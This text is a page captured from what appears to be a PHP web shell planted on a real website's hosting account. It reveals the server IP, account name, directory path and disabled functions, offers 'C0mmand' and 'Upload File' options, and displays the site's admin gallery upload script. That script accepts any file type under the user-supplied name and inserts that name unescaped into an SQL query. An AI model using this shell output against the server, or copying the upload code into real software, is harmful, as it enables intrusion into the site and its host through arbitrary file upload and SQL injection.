Server IP : 153.92.220.142 / Your IP : 18.119.122.164 Web Server : LiteSpeed System : Linux nl-srv-web516.main-hosting.eu 4.18.0-513.9.1.lve.el7h.x86_64 #1 SMP Mon Dec 4 13:57:13 UTC 2023 x86_64 User : u444427800 ( 444427800) PHP Version : 8.1.27 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u444427800/domains/aaryashdermajoint.com/public_html/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include "connect.php"; if (isset($_POST["btn_submit"])) { foreach($_FILES["gallery"]["tmp_name"] as $key=>$tmp_name) { $imagePath = "gallery/"; $uniquesavename=time().uniqid(rand()); $image_type=basename($_FILES["gallery"]["name"][$key]); $gallery=$uniquesavename . '.'.$image_type; $destFile = $imagePath . $gallery; $filename = $_FILES["gallery"]["tmp_name"][$key]; move_uploaded_file($filename, $destFile); $result = $conn->query("INSERT INTO `gallery`(`gallery`) VALUES ('$gallery')"); } } header("location:gallery.php");?>